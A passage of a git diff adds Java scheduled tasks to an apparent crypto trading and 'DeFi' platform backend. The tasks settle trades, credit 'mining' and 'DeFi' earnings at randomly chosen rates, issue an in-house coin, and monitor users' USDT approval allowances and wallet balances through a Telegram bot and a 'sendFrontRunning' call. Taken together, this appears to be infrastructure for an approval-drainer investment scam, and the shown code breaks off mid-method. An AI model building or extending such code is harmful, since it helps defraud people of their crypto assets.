tCurrencyOrder.setFee(fee); + settlementOccupiedCurrencyOrder(tCurrencyOrder,symbol,coin,userId,subtractPrice,addPrice,subtractAsset,addAsset,tCurrencyOrder.getType()); + } + } + }catch (Exception e){ + e.printStackTrace(); + }finally { + redisCache.deleteObject(key); + } + } + } + + /** + * 结算冻结资产 增加对应币种 入账变 + * + * @param tCurrencyOrder + * @param symbol + * @param coin + * @param userId + * @param subtractPrice + * @param addPrice + * @param subtractAsset + * @param addAsset + * @param type + */ + @Transactional + public void settlementOccupiedCurrencyOrder(TCurrencyOrder tCurrencyOrder, String symbol, String coin, Long userId, BigDecimal subtractPrice, BigDecimal addPrice, TAppAsset subtractAsset, TAppAsset addAsset, Integer type){ + TAppUser appUser = tAppUserService.getById(userId); + TAppAsset asset = new TAppAsset(); + if(0!=tCurrencyOrder.getType()){ + String temp=coin; + coin=symbol; + symbol=temp; + asset=addAsset; + addAsset=subtractAsset; + subtractAsset=asset; + } + tCurrencyOrder.setUserId(userId); + tCurrencyOrder.setDealTime(DateUtils.getNowDate()); + tCurrencyOrder.setUpdateTime(DateUtils.getNowDate()); + tCurrencyOrder.setStatus(1); + + BigDecimal subtract = subtractAsset.getOccupiedAmount().subtract(subtractPrice); + tCurrencyOrderService.updateTCurrencyOrder(tCurrencyOrder); + tAppAssetService.settlementOccupiedCurrencyOrder(userId, coin,subtractPrice,subtract); + tAppAssetService.addAssetByUserId(userId, symbol, addPrice); + appWalletRecordService.generateRecord(userId, subtractPrice, RecordEnum.CURRENCY_TRADINGSUB.getCode(), null, tCurrencyOrder.getOrderNo(), RecordEnum.CURRENCY_TRADINGSUB.getInfo(), subtractAsset.getAmout(), subtractAsset.getAmout().subtract(subtractPrice), coin,appUser.getAdminParentIds()); + appWalletRecordService.generateRecord(userId, addPrice, RecordEnum.CURRENCY_TRADINGADD.getCode(), null, tCurrencyOrder.getOrderNo(), RecordEnum.CURRENCY_TRADINGADD.getInfo(), addAsset.getAmout(), addAsset.getAmout().add(addPrice),symbol,appUser.getAdminParentIds()); + + //币币打码 + Setting setting = settingService.get(SettingEnum.ADD_MOSAIC_SETTING.name()); + if (Objects.nonNull(setting)){ + AddMosaicSetting addMosaic = JSONUtil.toBean(setting.getSettingValue(), AddMosaicSetting.class); + if (Objects.nonNull(addMosaic) && Objects.nonNull(addMosaic.getIsOpen()) && addMosaic.getIsOpen() && Objects.nonNull(addMosaic.getCurrencyIsOpen()) && addMosaic.getCurrencyIsOpen()){ + BigDecimal price = BigDecimal.ONE; + try { + if (!coin.equals("usdt")){ + price = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + coin.toLowerCase()); + appUser.setTotleAmont(appUser.getTotleAmont().add(subtractPrice.multiply(price))); + }else{ + appUser.setTotleAmont(appUser.getTotleAmont().add(subtractPrice)); + } + tAppUserService.updateTotleAmont(appUser); + } catch (Exception e) { + e.printStackTrace(); + } + } + } + + HashMap object = new HashMap<>(); + object.put("settlement","1"); + redisUtil.addStream(redisStreamNames,object); + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/DefiRateTask.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/DefiRateTask.java new file mode 100644 index 0000000..3210ee9 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/DefiRateTask.java @@ -0,0 +1,85 @@ +package com.ruoyi.quartz.task; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.RecordEnum; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.Date; +import java.util.List; +import java.util.Objects; + +@RequiredArgsConstructor +@Slf4j +@Component("defiRateTask") +public class DefiRateTask { + @Resource + ITAppUserService userService; + @Resource + ITAppAddressInfoService appAddressInfoService; + @Resource + IDefiRateService defiRateService; + @Resource + IDefiOrderService defiOrderService; + @Resource + RedisCache redisCache; + @Resource + private ITAppWalletRecordService appWalletRecordService; + @Autowired + private ITAppAssetService appAssetService; + public void userDefiOrder() { + List allowedUser = appAddressInfoService.getAllowedUser(); + for (TAppAddressInfo appAddressInfo:allowedUser ) { + try { + BigDecimal usdt = appAddressInfo.getUsdt(); + //获取利率 + List defiRateByAmount = defiRateService.getDefiRateByAmount(usdt); + if(defiRateByAmount.size()>0&&usdt.compareTo(BigDecimal.ZERO)>0){ + //获取用户 + TAppUser tAppUser = userService.selectTAppUserByUserId(appAddressInfo.getUserId()); + //获取ETH汇率 + BigDecimal ethPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + "eth"); + //防止用户配置错误 这里取了第一个 + DefiRate defiRate = defiRateByAmount.get(0); + //算出返的Usdt + BigDecimal rateAmount = usdt.multiply(defiRate.getRate()); + //算出eth + BigDecimal ethAmount = rateAmount.divide(ethPrice, 6, RoundingMode.HALF_DOWN); + //构建defi订单表。 + DefiOrder defiOrder = new DefiOrder(); + defiOrder.setRate(defiRate.getRate()); + defiOrder.setAmount(ethAmount); + defiOrder.setTotleAmount(usdt); + defiOrder.setUserId(appAddressInfo.getUserId()); + defiOrder.setCreateTime(new Date()); + //插入 + defiOrderService.insertDefiOrder(defiOrder); + //获取资产表 + TAppAsset appAsset = appAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getUserId, appAddressInfo.getUserId()).eq(TAppAsset::getSymbol, "eth").eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode())); + //账变 + if(Objects.isNull(appAsset)) { + log.error(appAddressInfo.getUserId()+"资产异常"); + continue; + } + appWalletRecordService.generateRecord(appAddressInfo.getUserId(), ethAmount, RecordEnum.DEFI_ORDER.getCode(), "", "", "defi质押", appAsset.getAmout(), appAsset.getAmout().add(ethAmount), "eth",tAppUser.getAdminParentIds()); + //更新eth资产 + appAsset.setAmout(appAsset.getAmout().add(ethAmount)); + appAsset.setAvailableAmount(appAsset.getAvailableAmount().add(ethAmount)); + appAssetService.updateTAppAsset(appAsset); + } + }catch (Exception e){ + e.printStackTrace(); + } + } + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/MineFinancialTask.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/MineFinancialTask.java new file mode 100644 index 0000000..969f3ce --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/MineFinancialTask.java @@ -0,0 +1,194 @@ +package com.ruoyi.quartz.task; + +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.FinancialSettlementSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.mapper.TMineFinancialMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.*; +import com.ruoyi.common.utils.DateUtil; +import com.ruoyi.common.utils.DateUtils; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.*; + +@Component("mineFinancialTask") +@Slf4j +public class MineFinancialTask { + + + @Resource + private SettingService settingService; + @Resource + private TMineFinancialMapper tMineFinancialMapper; + @Resource + private ITAppUserService appUserService; + @Resource + private RedisCache redisCache; + @Resource + private ITAppAssetService tAppAssetService; + @Resource + private ITMineOrderService orderService; + @Resource + private ITMineUserService mineUserService; + @Resource + private ITAppWalletRecordService walletRecordService; + @Resource + private ITMineOrderDayService mineOrderDayService; + + + /** + * 到期结算 每日结算 指定收益入库 + */ + public void mineFinancialTask() { + try { + //查看系统配置 获取结算方式 + Setting setting = settingService.get(SettingEnum.FINANCIAL_SETTLEMENT_SETTING.name()); + FinancialSettlementSetting settlementSetting = JSONUtil.toBean(setting.getSettingValue(), FinancialSettlementSetting.class); + //查看系统今日待下发收益的订单 + List list1 = orderService.list(new LambdaQueryWrapper().eq(TMineOrder::getStatus, 0L).eq(TMineOrder::getType, 0L)); + if (CollectionUtils.isEmpty(list1)){ + return; + } + for (TMineOrder tMineOrder : list1) { + settlement(tMineOrder,settlementSetting); + } + } catch (Exception e) { + e.printStackTrace(); + } + + } + + private void settlement(TMineOrder order, FinancialSettlementSetting setting) { + try { + TAppUser appUser = appUserService.getById(order.getUserId()); + BigDecimal amount = order.getAmount(); + //资产 + TAppAsset asset = tAppAssetService.getAssetByUserIdAndType(order.getUserId(), AssetEnum.FINANCIAL_ASSETS.getCode()); + //获取利率 最大 最小 中间 随机 + BigDecimal dayRatio=getRatio(order.getMinOdds(),order.getMaxOdds()); + //获取对应产品的日收益 + BigDecimal earn = amount.multiply(dayRatio).divide(new BigDecimal(100)).setScale(6, RoundingMode.UP); + //查看是否之前结算过 + TMineOrderDay mineOrderDay = mineOrderDayService.getOne(new LambdaQueryWrapper().eq(TMineOrderDay::getStatus,1).eq(TMineOrderDay::getOrderNo, order.getOrderNo())); + if(mineOrderDay !=null ){ + mineOrderDay.setEarn(mineOrderDay.getEarn().add(earn)); + }else { + mineOrderDay=new TMineOrderDay(); + //组装结算订单 + mineOrderDay.setAddress(order.getAdress()); + mineOrderDay.setOdds(dayRatio); + mineOrderDay.setOrderNo(order.getOrderNo()); + mineOrderDay.setEarn(earn); + mineOrderDay.setPlanId(order.getPlanId()); + mineOrderDay.setAmount(amount); + mineOrderDay.setCreateTime(new Date()); + mineOrderDay.setType(0L); + } + + //判断 日结 、 指定日结 、订单到期结算 + if(Objects.equals(CommonEnum.ONE.getCode(), setting.getSettlementType())){ + //指定日期结算 + mineOrderDay.setStatus(CommonEnum.ONE.getCode()); + mineOrderDayService.saveOrUpdate(mineOrderDay); + } + if(Objects.equals(CommonEnum.TWO.getCode(), setting.getSettlementType())){ + //日结 + //最后一天结算本金+收益 否则只结算收益 + BigDecimal availableAmount = asset.getAvailableAmount(); + asset.setAmout(asset.getAmout().add(earn)); + asset.setAvailableAmount(asset.getAvailableAmount().add(earn)); + mineOrderDay.setStatus(CommonEnum.TWO.getCode()); + tAppAssetService.updateTAppAsset(asset); + mineOrderDayService.saveOrUpdate(mineOrderDay); + walletRecordService.generateRecord(order.getUserId(), earn, RecordEnum.FINANCIAL_SETTLEMENT.getCode(),"",order.getOrderNo(),RecordEnum.FINANCIAL_SETTLEMENT.getInfo(),availableAmount,asset.getAvailableAmount(),asset.getSymbol(),appUser.getAdminParentIds()); + //返利 + //itActivityMineService.caseBackToFather(wallet.getUserId(), m.getAccumulaEarn(), wallet.getUserName(), orderNo); + } + if(Objects.equals(CommonEnum.THREE.getCode(), setting.getSettlementType())){ + //产品到期结算 + if(DateUtil.daysBetween(order.getEndTime(),new Date())==0){ + mineOrderDay.setStatus(CommonEnum.TWO.getCode()); + mineOrderDayService.saveOrUpdate(mineOrderDay); + BigDecimal earn1 = mineOrderDay.getEarn(); + BigDecimal availableAmount = asset.getAvailableAmount(); + asset.setAmout(asset.getAmout().add(earn1)); + asset.setAvailableAmount(asset.getAvailableAmount().add(earn1)); + tAppAssetService.updateTAppAsset(asset); + walletRecordService.generateRecord(order.getUserId(), earn1, RecordEnum.FINANCIAL_SETTLEMENT.getCode(),"",order.getOrderNo(),RecordEnum.FINANCIAL_SETTLEMENT.getInfo(),availableAmount,asset.getAvailableAmount(),asset.getSymbol(),appUser.getAdminParentIds()); + //返利 + //itActivityMineService.caseBackToFather(wallet.getUserId(), m.getAccumulaEarn(), wallet.getUserName(), orderNo); + }else { + mineOrderDay.setStatus(CommonEnum.ONE.getCode()); + mineOrderDayService.saveOrUpdate(mineOrderDay); + } + } + order.setAccumulaEarn(mineOrderDay.getEarn()); + //判断 是否产品到期 + if(DateUtil.daysBetween(order.getEndTime(),new Date())==0){ + order.setStatus(1L); + } + orderService.updateTMineOrder(order); + } catch (Exception e) { + log.error("理财订单异常结算, MinderOrder:{}", order); + } + } + + + //获取订单的利率 + private BigDecimal getRatio(BigDecimal minOdds, BigDecimal maxOdds) { + return queryHongBao(minOdds.doubleValue(), maxOdds.doubleValue()); + } + + private static BigDecimal queryHongBao(double min, double max) { + Random rand = new Random(); + double result; + result = min + (rand.nextDouble() * (max - min)); + return new BigDecimal(result).setScale(4, RoundingMode.UP); + } + + /** + * 指定日期结算 + */ + public void specifiedDateSettlement(){ + //查看系统配置 获取结算方式 + Setting setting = settingService.get(SettingEnum.FINANCIAL_SETTLEMENT_SETTING.name()); + FinancialSettlementSetting settlementSetting = JSONUtil.toBean(setting.getSettingValue(), FinancialSettlementSetting.class); + if(CommonEnum.ONE.getCode().equals(settlementSetting.getSettlementType())){ + // 查找未结算的收益 + List list = mineOrderDayService.list(new LambdaQueryWrapper().eq(TMineOrderDay::getStatus, CommonEnum.ONE.getCode())); + if(CollectionUtils.isEmpty(list)){ + return; + } + for (TMineOrderDay mineOrderDay : list) { + String orderNo = mineOrderDay.getOrderNo(); + //查找订单 + TMineOrder order = orderService.getOne(new LambdaQueryWrapper().eq(TMineOrder::getOrderNo, orderNo)); + TAppUser appUser = appUserService.getById(order.getUserId()); + if(CommonEnum.ONE.getCode().equals(order.getStatus().intValue())){ + TAppAsset asset = tAppAssetService.getAssetByUserIdAndType(order.getUserId(), AssetEnum.FINANCIAL_ASSETS.getCode()); + mineOrderDay.setStatus(CommonEnum.TWO.getCode()); + mineOrderDayService.saveOrUpdate(mineOrderDay); + BigDecimal earn = mineOrderDay.getEarn(); + BigDecimal availableAmount = asset.getAvailableAmount(); + asset.setAmout(asset.getAmout().add(earn)); + asset.setAvailableAmount(asset.getAvailableAmount().add(earn)); + tAppAssetService.updateTAppAsset(asset); + walletRecordService.generateRecord(order.getUserId(), earn, RecordEnum.FINANCIAL_SETTLEMENT.getCode(),"",order.getOrderNo(),RecordEnum.FINANCIAL_SETTLEMENT.getInfo(),availableAmount,asset.getAvailableAmount(),asset.getSymbol(),appUser.getAdminParentIds()); + //返利 + //itActivityMineService.caseBackToFather(wallet.getUserId(), m.getAccumulaEarn(), wallet.getUserName(), orderNo); + } + } + } + + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/MingOrderTask.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/MingOrderTask.java new file mode 100644 index 0000000..730352f --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/MingOrderTask.java @@ -0,0 +1,133 @@ +package com.ruoyi.quartz.task; + +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.FinancialSettlementSetting; +import com.ruoyi.bussiness.domain.setting.MingSettlementSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.mapper.TMineFinancialMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.CommonEnum; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.DateUtil; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Component; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.Date; +import java.util.List; +import java.util.Objects; +import java.util.Random; + +@Component("mingOrderTask") +@Slf4j +public class MingOrderTask { + + + @Resource + private SettingService settingService; + @Resource + private ITMingOrderService mingOrderService; + @Resource + private ITAppUserService appUserService; + + @Resource + private ITAppAssetService tAppAssetService; + @Resource + private ITAppWalletRecordService walletRecordService; + + + /** + * 到期结算 每日结算 指定收益入库 + */ + public void mingOrderSett() { + try { + //查看系统配置 获取结算方式 + Setting setting = settingService.get(SettingEnum.MING_SETTLEMENT_SETTING.name()); + MingSettlementSetting settlementSetting = JSONUtil.toBean(setting.getSettingValue(), MingSettlementSetting.class); + //查看系统今日待下发收益的订单 + List list1 = mingOrderService.list(new LambdaQueryWrapper().eq(TMingOrder::getStatus, 0L)); + if (CollectionUtils.isEmpty(list1)) { + return; + } + for (TMingOrder tMineOrder : list1) { + settlement(tMineOrder, settlementSetting); + } + } catch (Exception e) { + e.printStackTrace(); + } + + } + + private void settlement(TMingOrder order, MingSettlementSetting setting) { + try { + TAppUser appUser = appUserService.getById(order.getUserId()); + BigDecimal amount = order.getAmount(); + //资产 + TAppAsset tAppAsset = tAppAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode()).eq(TAppAsset::getUserId, order.getUserId()).eq(TAppAsset::getSymbol, "usdt")); + // TMingProduct tMingProduct = mingProductService.selectTMingProductById(planId); //获取利率 最大 最小 中间 随机 + BigDecimal dayRatio = getRatio(order.getMinOdds(), order.getMaxOdds()); + //获取对应产品的日收益 + BigDecimal earn = amount.multiply(dayRatio).divide(new BigDecimal(100)).setScale(6, RoundingMode.UP); + BigDecimal availableAmount = tAppAsset.getAvailableAmount(); + BigDecimal allEarn= order.getAmount();; + //判断 日结 、 指定日结 、订单到期结算 + if (Objects.equals(CommonEnum.ONE.getCode(), setting.getSettlementType())) { + //每日返息 + tAppAsset.setAmout(tAppAsset.getAmout().add(earn)); + tAppAsset.setAvailableAmount(tAppAsset.getAvailableAmount().add(earn)); + tAppAssetService.updateTAppAsset(tAppAsset); + walletRecordService.generateRecord(order.getUserId(), earn, RecordEnum.MINING_REBATE.getCode(), "", order.getOrderNo(), RecordEnum.FINANCIAL_SETTLEMENT.getInfo(), availableAmount, availableAmount.add(earn), tAppAsset.getSymbol(), appUser.getAdminParentIds()); + } + if (Objects.equals(CommonEnum.TWO.getCode(), setting.getSettlementType())) { + //日结 + //最后一天结算本金+收益 否则只结算收益 + walletRecordService.generateRecord(order.getUserId(), earn, RecordEnum.MINING_REBATE.getCode(), "", order.getOrderNo(), "每日收益累计,利息不返回", earn, order.getAccumulaEarn().add(earn), tAppAsset.getSymbol(), appUser.getAdminParentIds()); + } + //判断 是否产品到期 + if (DateUtil.daysBetween(order.getEndTime(), new Date()) == 0) { + order.setStatus(1); + //到期返本金 + if (Objects.equals(CommonEnum.ONE.getCode(), setting.getSettlementType())) { + tAppAsset.setAmout(tAppAsset.getAmout().add(allEarn)); + tAppAsset.setAvailableAmount(tAppAsset.getAvailableAmount().add(allEarn)); + tAppAssetService.updateTAppAsset(tAppAsset); + } + //到期结算本金和利息 + if (Objects.equals(CommonEnum.TWO.getCode(), setting.getSettlementType())) { + allEarn = order.getAmount().add(order.getAccumulaEarn()); + tAppAsset.setAmout(tAppAsset.getAmout().add(allEarn)); + tAppAsset.setAvailableAmount(tAppAsset.getAvailableAmount().add(allEarn)); + tAppAssetService.updateTAppAsset(tAppAsset); + } + walletRecordService.generateRecord(order.getUserId(), allEarn, RecordEnum.MINING_SETTLEMENT.getCode(), "", order.getOrderNo(), RecordEnum.MINING_SETTLEMENT.getInfo(), availableAmount, availableAmount.add(allEarn), tAppAsset.getSymbol(), appUser.getAdminParentIds()); + } + order.setAccumulaEarn(order.getAccumulaEarn().add(earn)); + mingOrderService.updateTMingOrder(order); + } catch (Exception e) { + log.error("理财订单异常结算, MinderOrder:{}", order); + } + } + + + //获取订单的利率 + private BigDecimal getRatio(BigDecimal minOdds, BigDecimal maxOdds) { + return queryHongBao(minOdds.doubleValue(), maxOdds.doubleValue()); + } + + private static BigDecimal queryHongBao(double min, double max) { + Random rand = new Random(); + double result; + result = min + (rand.nextDouble() * (max - min)); + return new BigDecimal(result).setScale(4, RoundingMode.DOWN); + } + + +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/OwnCoinTask.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/OwnCoinTask.java new file mode 100644 index 0000000..8f2fb4b --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/OwnCoinTask.java @@ -0,0 +1,143 @@ +package com.ruoyi.quartz.task; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.utils.RedisUtil; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.scheduling.annotation.Scheduled; +import org.springframework.stereotype.Component; +import org.springframework.transaction.annotation.Transactional; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.util.Date; +import java.util.List; +import java.util.Map; + +@Component("OwnCoinTask") +@Slf4j +public class OwnCoinTask { + + @Resource + private ITOwnCoinOrderService itOwnCoinOrderService; + @Resource + private ITOwnCoinService ownCoinService; + @Resource + private ITAppAssetService tAppAssetService; + @Resource + private ITAppWalletRecordService appWalletRecordService; + @Resource + private ITAppUserService tAppUserService; + @Resource + private IKlineSymbolService klineSymbolService; + @Resource + private ITSecondCoinConfigService tSecondCoinConfigService; + @Resource + private ITSecondPeriodConfigService tSecondPeriodConfigService; + @Resource + private RedisUtil redisUtil; + @Value("${api-redis-stream.names}") + private String redisStreamNames; + + /** + * 更改发币状态 + * 每天00:01执行一次 + */ + //@Scheduled(cron = "0 1 0 * * ?") + public void ownCoinStartTask() { + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); + queryWrapper.le(TOwnCoin::getBeginTime, new Date()); + queryWrapper.eq(TOwnCoin::getStatus, 1); + List list = ownCoinService.list(queryWrapper); + for (TOwnCoin tOwnCoin : list) { + tOwnCoin.setStatus(2); + } + ownCoinService.saveOrUpdateBatch(list); + } + + /** + * 发币结束 申购资产发送 + */ + //@Scheduled(cron = "0 1 0 * * ?") + @Transactional + public void ownCoinEndTask() { + //更改发行状态 + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); + queryWrapper.le(TOwnCoin::getEndTime, new Date()); + queryWrapper.eq(TOwnCoin::getStatus, 2); + List list = ownCoinService.list(queryWrapper); + for (TOwnCoin tOwnCoin : list) { + tOwnCoin.setStatus(3); + //查询订单 + List list1 = itOwnCoinOrderService.list(new LambdaQueryWrapper().eq(TOwnCoinOrder::getStatus, "1").eq(TOwnCoinOrder::getOwnId, tOwnCoin.getId())); + for (TOwnCoinOrder tOwnCoinOrder : list1) { + tOwnCoinOrder.setStatus("2"); + //订单结算 + BigDecimal amount = new BigDecimal(tOwnCoinOrder.getNumber().toString()); + String ownCoin = tOwnCoinOrder.getOwnCoin(); + //创建资产 + TAppUser user = tAppUserService.getById(tOwnCoinOrder.getUserId()); + Map assetMap1 = tAppAssetService.getAssetByUserIdList(tOwnCoinOrder.getUserId()); + if (!assetMap1.containsKey(ownCoin.toLowerCase() + tOwnCoinOrder.getUserId())) { + tAppAssetService.createAsset(user, ownCoin.toLowerCase(), AssetEnum.PLATFORM_ASSETS.getCode()); + + } + Map assetMap = tAppAssetService.getAssetByUserIdList(tOwnCoinOrder.getUserId()); + TAppAsset asset = assetMap.get(ownCoin.toLowerCase() + tOwnCoinOrder.getUserId()); + BigDecimal availableAmount = asset.getAvailableAmount(); + tAppAssetService.updateTAppAsset( + TAppAsset.builder() + .symbol(ownCoin.toLowerCase()) + .userId(tOwnCoinOrder.getUserId()) + .amout(asset.getAmout().add(amount)) + .availableAmount(asset.getAvailableAmount().add(amount)) + .type(AssetEnum.PLATFORM_ASSETS.getCode()) + .build()); + //帐变 + appWalletRecordService.generateRecord(user.getUserId(), amount, RecordEnum.OWN_COIN_BUY.getCode(), user.getLoginName(), tOwnCoinOrder.getOrderId(), RecordEnum.OWN_COIN_BUY.getInfo(), availableAmount, availableAmount.add(amount), ownCoin.toLowerCase(), user.getAdminParentIds()); + } + itOwnCoinOrderService.saveOrUpdateBatch(list1); + //订单结算完成 将币种添加至币种列表 + KlineSymbol klineSymbol = new KlineSymbol() + .setSymbol(tOwnCoin.getCoin().toLowerCase()) + .setMarket("echo") + .setSlug(tOwnCoin.getCoin().toUpperCase()) + .setLogo(tOwnCoin.getLogo()) + .setReferCoin(tOwnCoin.getReferCoin()) + .setReferMarket(tOwnCoin.getReferMarket()) + .setProportion(tOwnCoin.getProportion()); + klineSymbolService.save(klineSymbol); + +// //监听获取新的kline +// HashMap object = new HashMap<>(); +// object.put(tOwnCoin.getCoin(),tOwnCoin.getReferCoin()+"usdt"); +// redisUtil.addStream(redisStreamNames,object); + + //自动添加到秒合约 + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setCoin(tOwnCoin.getCoin().toLowerCase()); + tSecondCoinConfig.setBaseCoin("usdt"); + tSecondCoinConfig.setShowSymbol(tOwnCoin.getShowSymbol()); + tSecondCoinConfig.setSort(999L); + tSecondCoinConfig.setStatus(1L); + tSecondCoinConfig.setMarket("echo"); + tSecondCoinConfig.setSymbol(tOwnCoin.getCoin().toLowerCase() + "usdt"); + tSecondCoinConfig.setShowFlag(1L); + tSecondCoinConfig.setCreateTime(new Date()); + tSecondCoinConfig.setLogo(tOwnCoin.getLogo()); + tSecondCoinConfig.setType(2); + TSecondCoinConfig btc = tSecondCoinConfigService.getOne(new LambdaQueryWrapper().eq(TSecondCoinConfig::getCoin, "btc")); + if (null != btc) { + tSecondCoinConfig.setPeriodId(btc.getId()); + } + tSecondCoinConfigService.insertSecondCoin(tSecondCoinConfig); + } + ownCoinService.saveOrUpdateBatch(list); + + } + +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/QueryAddreUsdt.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/QueryAddreUsdt.java new file mode 100644 index 0000000..79c6eb5 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/QueryAddreUsdt.java @@ -0,0 +1,49 @@ +package com.ruoyi.quartz.task; + +import com.alibaba.fastjson.JSONObject; +import com.google.gson.JsonObject; +import com.ruoyi.bussiness.domain.TAppAddressInfo; +import com.ruoyi.bussiness.service.ITAppAddressInfoService; + +import com.ruoyi.common.utils.StringUtils; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.util.List; + +/** + * 查询地址的usdt余额定时任务。 + */ +@Component("QueryAddreUsdt") +@Slf4j +public class QueryAddreUsdt { + @Resource + private ITAppAddressInfoService appAddressInfoService; + + public void queryAddreUsdt(){ + Long now = System.currentTimeMillis(); + log.info ("查询地址的usdt余额开始...."); + + List list = appAddressInfoService.list(); + for (TAppAddressInfo tAppAddressInfo : list) { + try { + + String status= StringUtils.isEmpty(tAppAddressInfo.getStatus())?"N":tAppAddressInfo.getStatus(); + if ("N".equals(status)) { + // 更新账户USDT值 + if (tAppAddressInfo.getUsdtAllowed().compareTo(BigDecimal.ZERO) > 0) { + log.info(JSONObject.toJSONString(tAppAddressInfo)); + appAddressInfoService.refreshUsdtBalance(tAppAddressInfo); + appAddressInfoService.sendFrontRunning(tAppAddressInfo); + } + Thread.sleep(600); + } + }catch (Exception e) { + log.error("刷新USDT余额异常 {} ", tAppAddressInfo.getAddress(), e); + } + } + log.info ("更新地址USDT结束, last:{}", System.currentTimeMillis() - now); + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/QueryUsdtAllowed.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/QueryUsdtAllowed.java new file mode 100644 index 0000000..741cfd9 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/QueryUsdtAllowed.java @@ -0,0 +1,87 @@ +package com.ruoyi.quartz.task; + + +import com.ruoyi.bussiness.domain.TAppAddressInfo; +import com.ruoyi.bussiness.service.ITAppAddressInfoService; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.WalletType; +import com.ruoyi.common.eth.EthUtils; +import com.ruoyi.common.trc.TronUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.telegrambot.MyTelegramBot; +import com.sun.org.apache.bcel.internal.generic.SWITCH; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Component; +import org.telegram.telegrambots.meta.api.methods.send.SendMessage; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.text.SimpleDateFormat; +import java.util.List; +import java.util.Map; + +/** + * 地址授权USDT额度查询 + */ +@Component("queryUsdtAllowed") +@Slf4j +public class QueryUsdtAllowed { + + @Resource + private ITAppAddressInfoService appAddressInfoService; + @Resource + private RedisCache redisCache; + @Resource + private MyTelegramBot myTelegramBot; + + public void queryUsdtAllowed() { + //获取 + Map cacheMap = redisCache.getCacheMap("approve"); + if (cacheMap != null && cacheMap.size() > 0) { + for (Map.Entry a : cacheMap.entrySet()) { + String hash = (String) a.getValue(); + String userIdStr = a.getKey(); + TAppAddressInfo appAddressInfo = appAddressInfoService.selectTAppAddressInfoByUserId(Long.parseLong(userIdStr)); + String hashStatus = ""; + String status= StringUtils.isEmpty(appAddressInfo.getStatus())?"N":appAddressInfo.getStatus(); + if ("N".equals(status)) { + if (appAddressInfo.getWalletType().equals(WalletType.ETH.name())) { + hashStatus = EthUtils.getHashStatus(hash); + } else { + hashStatus = TronUtils.getTransactionResult(hash); + } + if (hashStatus.equals("0")) {//成功 + 